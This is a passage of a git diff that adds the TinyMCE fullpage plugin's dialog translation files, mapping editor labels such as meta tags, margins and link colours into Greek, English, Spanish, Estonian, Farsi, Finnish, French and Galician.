\u03ba\u03b1\u03c4\u03b1\u03c7\u03ce\u03c1\u03b7\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03bd\u03b1 \u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03b7\u03b8\u03bf\u03cd\u03bd \u03bf\u03b9 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03b9","meta_noindex_nofollow":"\u03a7\u03c9\u03c1\u03af\u03c2 \u03ba\u03b1\u03c4\u03b1\u03c7\u03ce\u03c1\u03b7\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03bd\u03b1 \u03bc\u03b7\u03bd \u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03b7\u03b8\u03bf\u03cd\u03bd \u03bf\u03b9 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03b9","appearance_style":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03c3\u03c4\u03c5\u03bb \u03ba\u03b1\u03b9 \u03b1\u03c1\u03c7\u03b5\u03af\u03bf\u03c5 \u03c3\u03c4\u03c5\u03bb",stylesheet:"\u0391\u03c1\u03c7\u03b5\u03af\u03bf \u03c3\u03c4\u03c5\u03bb",style:"\u03a3\u03c4\u03c5\u03bb",author:"\u03a3\u03c5\u03b3\u03b3\u03c1\u03b1\u03c6\u03ad\u03b1\u03c2",copyright:"\u0394\u03b9\u03ba\u03b1\u03af\u03c9\u03bc\u03b1 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03b1\u03c3\u03c4\u03ae",add:"\u03a0\u03c1\u03bf\u03c3\u03b8\u03ae\u03ba\u03b7 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf\u03c5",remove:"\u0391\u03c6\u03b1\u03af\u03c1\u03b5\u03c3\u03b7 \u03b5\u03c0\u03b9\u03bb\u03b5\u03b3\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf\u03c5",moveup:"\u039c\u03b5\u03c4\u03b1\u03ba\u03af\u03bd\u03b7\u03c3\u03b7 \u03b5\u03c0\u03b9\u03bb\u03b5\u03b3\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf\u03c5 \u03c0\u03ac\u03bd\u03c9",movedown:"\u039c\u03b5\u03c4\u03b1\u03ba\u03af\u03bd\u03b7\u03c3\u03b7 \u03b5\u03c0\u03b9\u03bb\u03b5\u03b3\u03bc\u03ad\u03bd\u03bf\u03c5 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf\u03c5 \u03ba\u03ac\u03c4\u03c9","head_elements":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03b1 \u03ba\u03b5\u03c6\u03b1\u03bb\u03ae\u03c2",info:"\u03a0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b5\u03c2","add_title":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c4\u03af\u03c4\u03bb\u03bf\u03c5","add_meta":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03bc\u03b5\u03c4\u03b1-\u03c0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b1\u03c2","add_script":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf Script","add_style":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c3\u03c4\u03c5\u03bb","add_link":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","add_base":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03b2\u03ac\u03c3\u03b7\u03c2","add_comment":"\u039a\u03cc\u03bc\u03b2\u03bf\u03c2 \u03c3\u03c7\u03bf\u03bb\u03af\u03bf\u03c5","title_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c4\u03af\u03c4\u03bb\u03bf\u03c5","script_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf Script","style_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c3\u03c4\u03c5\u03bb","base_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03b2\u03ac\u03c3\u03b7\u03c2","link_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","meta_element":"\u03a3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03bc\u03b5\u03c4\u03b1-\u03c0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b1\u03c2","comment_element":"\u03a3\u03c7\u03cc\u03bb\u03b9\u03bf",src:"\u03a0\u03b7\u03b3\u03ae",language:"\u0393\u03bb\u03ce\u03c3\u03c3\u03b1",href:"Href",target:"\u03a3\u03c4\u03cc\u03c7\u03bf\u03c2",type:"\u03a4\u03cd\u03c0\u03bf\u03c2",charset:"\u03a3\u03b5\u03c4 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd",defer:"Defer",media:"Media",properties:"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2",name:"\u038c\u03bd\u03bf\u03bc\u03b1",value:"\u03a4\u03b9\u03bc\u03ae",content:"\u03a0\u03b5\u03c1\u03b9\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03bf",rel:"Rel",rev:"Rev",hreflang:"\u0393\u03bb\u03ce\u03c3\u03c3\u03b1 Href","general_props":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac","advanced_props":"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/en_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/en_dlg.js new file mode 100755 index 0000000..516edc7 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.fullpage_dlg',{title:"Document Properties","meta_tab":"General","appearance_tab":"Appearance","advanced_tab":"Advanced","meta_props":"Meta Information",langprops:"Language and Encoding","meta_title":"Title","meta_keywords":"Keywords","meta_description":"Description","meta_robots":"Robots",doctypes:"Doctype",langcode:"Language Code",langdir:"Language Direction",ltr:"Left to Right",rtl:"Right to Left","xml_pi":"XML Declaration",encoding:"Character Encoding","appearance_bgprops":"Background Properties","appearance_marginprops":"Body Margins","appearance_linkprops":"Link Colors","appearance_textprops":"Text Properties",bgcolor:"Background Color",bgimage:"Background Image","left_margin":"Left Margin","right_margin":"Right Margin","top_margin":"Top Margin","bottom_margin":"Bottom Margin","text_color":"Text Color","font_size":"Font Size","font_face":"Font Face","link_color":"Link Color","hover_color":"Hover Color","visited_color":"Visited Color","active_color":"Active Color",textcolor:"Color",fontsize:"Font Size",fontface:"Font Family","meta_index_follow":"Index and Follow the Links","meta_index_nofollow":"Index and Don\'t Follow the Links","meta_noindex_follow":"Do Not Index but Follow the Links","meta_noindex_nofollow":"Do Not Index and Don\'t Follow the Links","appearance_style":"Stylesheet and Style Properties",stylesheet:"Stylesheet",style:"Style",author:"Author",copyright:"Copyright",add:"Add New Element",remove:"Remove Selected Element",moveup:"Move Selected Element Up",movedown:"Move Selected Element Down","head_elements":"Head Elements",info:"Information","add_title":"Title Element","add_meta":"Meta Element","add_script":"Script Element","add_style":"Style Element","add_link":"Link Element","add_base":"Base Element","add_comment":"Comment Node","title_element":"Title Element","script_element":"Script Element","style_element":"Style Element","base_element":"Base Element","link_element":"Link Element","meta_element":"Meta Element","comment_element":"Comment",src:"Source",language:"Language",href:"HREF",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"HREF Lang","general_props":"General","advanced_props":"Advanced"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/es_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/es_dlg.js new file mode 100755 index 0000000..94e52a7 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.fullpage_dlg',{title:"Propiedades del documento","meta_tab":"General","appearance_tab":"Apariencia","advanced_tab":"Avanzado","meta_props":"Informaci\u00f3n Meta",langprops:"Lenguaje y codificaci\u00f3n","meta_title":"T\u00edtulo","meta_keywords":"Palabras clave","meta_description":"Descripci\u00f3n","meta_robots":"Robots",doctypes:"Tipo de doc.",langcode:"C\u00f3digo del lenguaje",langdir:"Direcci\u00f3n del lenguaje",ltr:"Izquierda a derecha",rtl:"Derecha a izquierda","xml_pi":"Declaraci\u00f3n XML",encoding:"Codificaci\u00f3n de caracteres","appearance_bgprops":"Propiedades del fondo","appearance_marginprops":"M\u00e1rgenes","appearance_linkprops":"Colores del v\u00ednculo","appearance_textprops":"Propiedades de texto",bgcolor:"Color de fondo",bgimage:"Imagen de fondo","left_margin":"Margen izquierdo","right_margin":"Margen derecho","top_margin":"Margen superior","bottom_margin":"Margen inferior","text_color":"Color del texto","font_size":"Tama\u00f1o de fuente","font_face":"Fuente","link_color":"Color de v\u00ednculo","hover_color":"Color rat\u00f3n encima","visited_color":"Color visitado","active_color":"Color activo",textcolor:"Color",fontsize:"Tama\u00f1o de fuente",fontface:"Fuente","meta_index_follow":"Indexar y seguir los v\u00ednculos","meta_index_nofollow":"Indexar y no seguir los v\u00ednculos","meta_noindex_follow":"No indexar pero seguir v\u00ednculos","meta_noindex_nofollow":"No indexar y no seguir v\u00ednculos","appearance_style":"Propiedades de hoja de estilos y estilo",stylesheet:"Hoja de estilo",style:"Estilo",author:"Autor",copyright:"Copyright",add:"Agregar nuevo elemento",remove:"Eliminar elemento seleccionado",moveup:"Mover elemento seleccionado hacia arriba",movedown:"Mover elemento seleccionado hacia abajo","head_elements":"Elemento Head",info:"Informaci\u00f3n","add_title":"Elemento Title","add_meta":"Elemento Meta","add_script":"Elemento Script","add_style":"Elemento Style","add_link":"Elemento Link","add_base":"Elemento Base","add_comment":"Nodo Comment","title_element":"Elemento Title","script_element":"Elemento Script","style_element":"Elemento Style","base_element":"Elemento Base","link_element":"Elemento Link","meta_element":"Elemento Meta","comment_element":"Comentario",src:"Src",language:"Lenguaje",href:"Href",target:"Target",type:"Tipo",charset:"Charset",defer:"Defer",media:"Medio",properties:"Propiedades",name:"Nombre",value:"Valor",content:"Contenido",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"General","advanced_props":"Avanzado"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/et_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/et_dlg.js new file mode 100755 index 0000000..f55f776 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.fullpage_dlg',{title:"Dokumendi omadused","meta_tab":"\u00dcldine","appearance_tab":"V\u00e4limus","advanced_tab":"P\u00f5hjalikum","meta_props":"\u201eMeta\u201c informatioon",langprops:"Keel ja kodeering","meta_title":"Pealkiri","meta_keywords":"M\u00e4rks\u00f5nad","meta_description":"Kirjeldus","meta_robots":"Robotid",doctypes:"Dokumendi t\u00fc\u00fcp",langcode:"Keele kood",langdir:"Keele suund",ltr:"Vasakult paremale",rtl:"Paremalt vasakule","xml_pi":"XML avaldus",encoding:"Karakteri kodeering","appearance_bgprops":"Tausta seadistus","appearance_marginprops":"Sisu piir","appearance_linkprops":"Lingi v\u00e4rv","appearance_textprops":"Teksti seaded",bgcolor:"Tausta v\u00e4rv",bgimage:"Tausta pilt","left_margin":"Vasak piir","right_margin":"Parem piir","top_margin":"\u00dclemine piir","bottom_margin":"Alumine piir","text_color":"Teksti v\u00e4rv","font_size":"Fondi suurus","font_face":"Fondi n\u00e4gu","link_color":"Lingi v\u00e4rv","hover_color":"\u00dcle-v\u00e4rv","visited_color":"K\u00fclastatud-v\u00e4rv","active_color":"Aktiivne-v\u00e4rv",textcolor:"V\u00f6rv",fontsize:"Fondi suurus",fontface:"Font","meta_index_follow":"M\u00e4rgi ja j\u00e4rgi linki","meta_index_nofollow":"M\u00e4rgi ja \u00e4ra j\u00e4rgi linki","meta_noindex_follow":"\u00c4ra m\u00e4rgi linki, aga j\u00e4rgi linki","meta_noindex_nofollow":"\u00c4ra m\u00e4rgi linki ja \u00e4ra j\u00e4rgi linki","appearance_style":"Stiilileht ja stiili seaded",stylesheet:"Stiilileht",style:"Stiil",author:"Autor",copyright:"Autorikaitse",add:"Lisa uus element",remove:"Eemalda valitud element",moveup:"Liiguta valitud element \u00fclesse",movedown:"Liiguta valitud element alla","head_elements":"P\u00f5hielemendid",info:"Informatioon","add_title":"Pealkirja element","add_meta":"\u201eMeta\u201c element","add_script":"Skript\u2019i element","add_style":"Stiili element","add_link":"Lingi element","add_base":"Baaselement","add_comment":"Kommentaar","title_element":"Pealkirja element","script_element":"Skript\u2019i element","style_element":"Stiili element","base_element":"Baaselement","link_element":"Lingi element","meta_element":"\u201eMeta\u201c element","comment_element":"kommentaar",src:"Src",language:"Keel",href:"Href",target:"Sihtm\u00e4rk",type:"T\u00fc\u00fcp",charset:"Charset",defer:"Edasi l\u00fckkamine",media:"Meedia",properties:"Seaded",name:"Nimi",value:"V\u00e4\u00e4rtus",content:"Sisu",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u00dcldine","advanced_props":"T\u00e4psustatud"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/fa_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/fa_dlg.js new file mode 100755 index 0000000..b0cc4cf --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.fullpage_dlg',{title:"\u0645\u0634\u062e\u0635\u0627\u062a \u0633\u0646\u062f","meta_tab":"\u0639\u0645\u0648\u0645\u06cc","appearance_tab":"\u0638\u0627\u0647\u0631","advanced_tab":"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647","meta_props":"\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u062a\u0627 (Meta)",langprops:"\u0632\u0628\u0627\u0646 \u0648 \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc (Encoding)","meta_title":"\u0639\u0646\u0648\u0627\u0646","meta_keywords":"\u06a9\u0644\u0645\u0627\u062a \u06a9\u0644\u06cc\u062f\u06cc","meta_description":"\u062a\u0648\u0636\u06cc\u062d","meta_robots":"\u0631\u0648\u0628\u0627\u062a \u0647\u0627 (Robots)",doctypes:"\u0646\u0648\u0639 \u0633\u0646\u062f",langcode:"\u06a9\u062f \u0632\u0628\u0627\u0646",langdir:"\u062c\u0647\u062a \u0632\u0628\u0627\u0646",ltr:"\u0686\u067e \u0628\u0647 \u0631\u0627\u0633\u062a",rtl:"\u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e","xml_pi":"\u0627\u0639\u0644\u0627\u0646 XML",encoding:"\u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc (Encoding) \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631","appearance_bgprops":"\u0645\u0634\u062e\u0635\u0627\u062a \u0632\u0645\u06cc\u0646\u0647","appearance_marginprops":"\u062d\u0627\u0634\u06cc\u0647 \u0647\u0627\u06cc \u0628\u062f\u0646\u0647 (Body)","appearance_linkprops":"\u0631\u0646\u06af \u0647\u0627\u06cc \u0644\u06cc\u0646\u06a9","appearance_textprops":"\u0645\u0634\u062e\u0635\u0627\u062a \u0645\u062a\u0646",bgcolor:"\u0631\u0646\u06af \u0632\u0645\u06cc\u0646\u0647",bgimage:"\u062a\u0635\u0648\u06cc\u0631 \u0632\u0645\u06cc\u0646\u0647","left_margin":"\u062d\u0627\u0634\u06cc\u0647 \u0686\u067e","right_margin":"\u062d\u0627\u0634\u06cc\u0647 \u0631\u0627\u0633\u062a","top_margin":"\u062d\u0627\u0634\u06cc\u0647 \u0628\u0627\u0644\u0627","bottom_margin":"\u062d\u0627\u0634\u06cc\u0647 \u067e\u0627\u06cc\u06cc\u0646","text_color":"\u0631\u0646\u06af \u0645\u062a\u0646","font_size":"\u0627\u0646\u062f\u0627\u0632\u0647 \u0642\u0644\u0645","font_face":"\u0638\u0627\u0647\u0631 \u0642\u0644\u0645","link_color":"\u0631\u0646\u06af \u0642\u0644\u0645","hover_color":"\u0631\u0646\u06af \u062f\u0631 \u062d\u0627\u0644\u062a \u0642\u0631\u0627\u0631\u06af\u06cc\u0631\u06cc \u0645\u0648\u0633","visited_color":"\u0631\u0646\u06af \u062f\u0631 \u062d\u0627\u0644\u062a \u0628\u0627\u0632\u062f\u06cc\u062f \u0634\u062f\u0647","active_color":"\u0631\u0646\u06af \u062f\u0631 \u062d\u0627\u0644\u062a \u0641\u0639\u0627\u0644",textcolor:"\u0631\u0646\u06af",fontsize:"\u0627\u0646\u062f\u0627\u0632\u0647 \u0642\u0644\u0645",fontface:"\u062e\u0627\u0646\u0648\u0627\u062f\u0647 \u0642\u0644\u0645","meta_index_follow":"\u0641\u0647\u0631\u0633\u062a \u0648 \u062f\u0646\u0628\u0627\u0644\u0647 \u0631\u0648\u06cc \u0644\u06cc\u0646\u06a9 \u0647\u0627","meta_index_nofollow":"\u0641\u0647\u0631\u0633\u062a \u0648 \u0639\u062f\u0645 \u062f\u0646\u0628\u0627\u0644\u0647 \u0631\u0648\u06cc \u0644\u06cc\u0646\u06a9 \u0647\u0627","meta_noindex_follow":"\u0639\u062f\u0645 \u0641\u0647\u0631\u0633\u062a \u0627\u0645\u0627 \u062f\u0646\u0628\u0627\u0644\u0647 \u0631\u0648\u06cc \u0644\u06cc\u0646\u06a9 \u0647\u0627","meta_noindex_nofollow":"\u0639\u062f\u0645 \u0641\u0647\u0631\u0633\u062a \u0648 \u0639\u062f\u0645 \u062f\u0646\u0628\u0627\u0644\u0647 \u0631\u0648\u06cc \u0644\u06cc\u0646\u06a9 \u0647\u0627","appearance_style":"\u0648\u0631\u0642\u0647 \u0627\u0633\u062a\u06cc\u0644 \u0648 \u0645\u0634\u062e\u0635\u0627\u062a \u0627\u0633\u062a\u06cc\u0644",stylesheet:"\u0648\u0631\u0642\u0647 \u0627\u0633\u062a\u06cc\u0644",style:"\u0627\u0633\u062a\u06cc\u0644",author:"\u0645\u0624\u0644\u0641",copyright:"\u062d\u0642 \u0627\u0646\u062d\u0635\u0627\u0631\u06cc",add:"\u0627\u0641\u0632\u0648\u062f\u0646 \u0639\u0646\u0635\u0631 \u062c\u062f\u06cc\u062f",remove:"\u062d\u0630\u0641 \u0639\u0646\u0635\u0631 \u0627\u0646\u062a\u062e\u0627\u0628 \u0634\u062f\u0647",moveup:"\u0627\u0646\u062a\u0642\u0627\u0644 \u0639\u0646\u0635\u0631 \u0627\u0646\u062a\u062e\u0627\u0628 \u0634\u062f\u0647 \u0628\u0647 \u0628\u0627\u0644\u0627",movedown:"\u0627\u0646\u062a\u0642\u0627\u0644 \u0639\u0646\u0635\u0631 \u0627\u0646\u062a\u062e\u0627\u0628 \u0634\u062f\u0647 \u0628\u0647 \u067e\u0627\u06cc\u06cc\u0646","head_elements":"\u0639\u0646\u0627\u0635\u0631 \u0633\u0631 (Head)",info:"\u0627\u0637\u0644\u0627\u0639\u0627\u062a","add_title":"\u0639\u0646\u0635\u0631 \u0639\u0646\u0648\u0627\u0646","add_meta":"\u0639\u0646\u0635\u0631 \u0645\u062a\u0627 (Meta)","add_script":"\u0639\u0646\u0635\u0631 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a (Script)","add_style":"\u0639\u0646\u0635\u0631 \u0627\u0633\u062a\u06cc\u0644 (Style)","add_link":"\u0639\u0646\u0635\u0631 \u0644\u06cc\u0646\u06a9 (Link)","add_base":"\u0639\u0646\u0635\u0631 \u067e\u0627\u06cc\u0647 (Base)","add_comment":"\u06af\u0631\u0647 \u062a\u0648\u0636\u06cc\u062d","title_element":"\u0639\u0646\u0635\u0631 \u0639\u0646\u0648\u0627\u0646 (Title)","script_element":"\u0639\u0646\u0635\u0631 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a (Script)","style_element":"\u0639\u0646\u0635\u0631 \u0627\u0633\u062a\u06cc\u0644 (Style)","base_element":"\u0639\u0646\u0635\u0631 \u067e\u0627\u06cc\u0647","link_element":"\u0639\u0646\u0635\u0631 \u0644\u06cc\u0646\u06a9","meta_element":"\u0639\u0646\u0635\u0631 \u0645\u062a\u0627 (Meta)","comment_element":"\u062a\u0648\u0636\u06cc\u062d",src:"\u0645\u0646\u0628\u0639 (Src)",language:"\u0632\u0628\u0627\u0646",href:"\u0622\u062f\u0631\u0633 (Href)",target:"\u0645\u0642\u0635\u062f (Target)",type:"\u0646\u0648\u0639",charset:"\u0645\u062c\u0645\u0648\u0639\u0647 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 (Charset)",defer:"Defer",media:"\u0631\u0633\u0627\u0646\u0647 (Media)",properties:"\u0645\u0634\u062e\u0635\u0627\u062a",name:"\u0646\u0627\u0645",value:"\u0645\u0642\u062f\u0627\u0631",content:"\u0645\u062d\u062a\u0648\u0627",rel:"Rel",rev:"Rev",hreflang:"\u0632\u0628\u0627\u0646 Href","general_props":"\u0639\u0645\u0648\u0645\u06cc","advanced_props":"\u067e\u06cc\u0634\u0631\u0641\u062a\u0647"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/fi_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/fi_dlg.js new file mode 100755 index 0000000..3f1fb39 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.fullpage_dlg',{title:"Tiedoston asetukset","meta_tab":"Yleinen","appearance_tab":"Ulkoasu","advanced_tab":"Edistynyt","meta_props":"Metatiedot",langprops:"Kieli ja koodaus","meta_title":"Otsikko","meta_keywords":"Avainsanat","meta_description":"Kuvaus","meta_robots":"Robotit",doctypes:"Dokumenttityypit",langcode:"Kielen koodi",langdir:"Kielen suunta",ltr:"Vasemmalta oikealle",rtl:"Oikealta vasemmalle","xml_pi":"XML-ilmoitus",encoding:"Tekstin koodaus","appearance_bgprops":"Taustan asetukset","appearance_marginprops":"Body-marginaalit","appearance_linkprops":"Linkkien v\u00e4rit","appearance_textprops":"Tekstin asetukset",bgcolor:"Taustan v\u00e4ri",bgimage:"Taustakuva","left_margin":"Vasen marginaali","right_margin":"Oikea marginaali","top_margin":"Yl\u00e4marginaali","bottom_margin":"Alamarginaali","text_color":"Tekstin v\u00e4ri","font_size":"Fonttikoko","font_face":"Fontti","link_color":"Linkin v\u00e4ri","hover_color":"Hover-v\u00e4ri","visited_color":"Vierailtu v\u00e4ri","active_color":"Aktiivinen v\u00e4ri",textcolor:"V\u00e4ri",fontsize:"Fonttikoko",fontface:"Fontti","meta_index_follow":"Indeksoi ja seuraa linkkej\u00e4","meta_index_nofollow":"Indeksoi, mutta \u00e4l\u00e4 seuraa linkkej\u00e4","meta_noindex_follow":"\u00c4l\u00e4 indeksoi, mutta seuraa linkkej\u00e4.","meta_noindex_nofollow":"\u00c4l\u00e4 indeksoi, \u00e4l\u00e4k\u00e4 seuraa linkkej\u00e4","appearance_style":"Tyylitiedosto ja tyylin asetukset",stylesheet:"Tyylitiedosto",style:"Tyyli",author:"Kirjoittaja",copyright:"Copyright",add:"Lis\u00e4\u00e4 uusi elementti",remove:"Poista valittu elementti",moveup:"Siirr\u00e4 valittua elementti\u00e4 yl\u00f6s",movedown:"Siirr\u00e4 valittua elementti\u00e4 alas","head_elements":"P\u00e4\u00e4elementti",info:"Informaatio","add_title":"Otsikkoelementti","add_meta":"Meta-elementti","add_script":"Script-elementti","add_style":"Tyylielementti","add_link":"Linkkielementti","add_base":"Base-elementti","add_comment":"Yleinen elementti","title_element":"Otsikkoelementti","script_element":"Script-elementti","style_element":"Tyylielementti","base_element":"Base-elementti","link_element":"Linkkielementti","meta_element":"Meta-elementti","comment_element":"Kommentti",src:"L\u00e4hde",language:"Kieli",href:"Href",target:"Kohde",type:"Tyyppi",charset:"Kirjasintyyppi",defer:"Mukautuminen",media:"Media",properties:"Asetukset",name:"Nimi",value:"Arvo",content:"Sis\u00e4lt\u00f6",rel:"Rel",rev:"Rev",hreflang:"Href-kieli","general_props":"Yleinen","advanced_props":"Edistynyt"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/fr_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/fr_dlg.js new file mode 100755 index 0000000..c2ddc65 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.fullpage_dlg',{title:"Propri\u00e9t\u00e9s du document","meta_tab":"G\u00e9n\u00e9ral","appearance_tab":"Apparence","advanced_tab":"Avanc\u00e9","meta_props":"Metadonn\u00e9es",langprops:"Langue et encodage","meta_title":"Titre","meta_keywords":"Mots-cl\u00e9s","meta_description":"Description","meta_robots":"Robots",doctypes:"Doctype",langcode:"Code de la langue",langdir:"Sens de lecture",ltr:"De gauche \u00e0 droite",rtl:"De droite \u00e0 gauche","xml_pi":"D\u00e9claration XML",encoding:"Encodage des caract\u00e8res","appearance_bgprops":"Propri\u00e9t\u00e9s du fond","appearance_marginprops":"Marge du corps de la page","appearance_linkprops":"Couleurs des liens","appearance_textprops":"Propri\u00e9t\u00e9s du texte",bgcolor:"Couleur de fond",bgimage:"Image de fond","left_margin":"Marge de gauche","right_margin":"Marge de droite","top_margin":"Marge du haut","bottom_margin":"Marge du bas","text_color":"Couleur du texte","font_size":"Taille de la police","font_face":"Nom de la police","link_color":"Couleur des liens","hover_color":"Couleur au survol","visited_color":"Couleur des liens visit\u00e9s","active_color":"Couleur du lien actif",textcolor:"Couleur",fontsize:"Taille de police",fontface:"Nom de la police","meta_index_follow":"Indexer et suivre les liens","meta_index_nofollow":"Indexer et ne pas suivre les liens","meta_noindex_follow":"Ne pas indexer et suivre les liens","meta_noindex_nofollow":"Ne pas indexer et ne pas suivre les liens","appearance_style":"Propri\u00e9t\u00e9s de la feuille de style et du style",stylesheet:"Feuille de style",style:"Style",author:"Auteur",copyright:"Copyright",add:"Ajouter un nouvel \u00e9l\u00e9ment",remove:"Retirer l\'\u00e9l\u00e9ment s\u00e9lectionn\u00e9",moveup:"D\u00e9placer l\'\u00e9l\u00e9ment s\u00e9lectionn\u00e9 vers le haut",movedown:"D\u00e9placer l\'\u00e9l\u00e9ment s\u00e9lectionn\u00e9 vers le bas","head_elements":"\u00c9l\u00e9ments d\'en-t\u00eate",info:"Information","add_title":"\u00c9l\u00e9ment de titre","add_meta":"\u00c9l\u00e9ment Meta","add_script":"\u00c9l\u00e9ment de script","add_style":"\u00c9l\u00e9ment de style","add_link":"\u00c9l\u00e9ment de lien","add_base":"\u00c9l\u00e9ment de base","add_comment":"Commentaire","title_element":"\u00c9l\u00e9ment de titre","script_element":"\u00c9l\u00e9ment de script","style_element":"\u00c9l\u00e9ment de style","base_element":"\u00c9l\u00e9ment de base","link_element":"\u00c9l\u00e9ment de lien","meta_element":"\u00c9l\u00e9ment Meta","comment_element":"Commentaire",src:"Source",language:"Langue",href:"Href",target:"Cible",type:"Type",charset:"Charset",defer:"D\u00e9f\u00e9rer",media:"M\u00e9dia",properties:"Propri\u00e9t\u00e9s",name:"Nom",value:"Valeur",content:"Contenu",rel:"Rel",rev:"Rev",hreflang:"langue Href","general_props":"G\u00e9n\u00e9ral","advanced_props":"Avanc\u00e9"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/gl_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/gl_dlg.js new file mode 100755 index 0000000..d497cfc --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.fullpage_dlg',{title:"Propiedades do documento","meta_tab":"Xeral","appearance_tab":"Apariencia","advanced_tab":"Avanzado","meta_props":"Informaci\u00f3n Meta",langprops:"Lenguaxe e codificaci\u00f3n","meta_title":"T\u00edtulo","meta_keywords":"Verbas chave","meta_description":"Descripci\u00f3n","meta_robots":"Robots",doctypes:"Tipo de doc.",langcode:"C\u00f3digo da lenguaxe",langdir:"Direcci\u00f3n da lenguaxe",ltr:"Esquerda a dereita",rtl:"Dereita a esquerda","xml_pi":"Declaraci\u00f3n XML",encoding:"Codificaci\u00f3n de caracteres","appearance_bgprops":"Propiedades do fondo","appearance_marginprops":"Marxes","appearance_linkprops":"Cores do v\u00ednculo","appearance_textprops":"Propiedades de texto",bgcolor:"Cor de fondo",bgimage:"Imaxe de fondo","left_margin":"Marxe esquerdo","right_margin":"Marxe dereito","top_margin":"Marxe superior","bottom_margin":"Marxe inferior","text_color":"Cor do texto","font_size":"Tama\u00f1o de fonte","font_face":"Fonte","link_color":"Cor de v\u00ednculo","hover_color":"Cor rato encima","visited_color":"Cor visitado","active_color":"Cor activo",textcolor:"Cor",fontsize:"Tama\u00f1o de 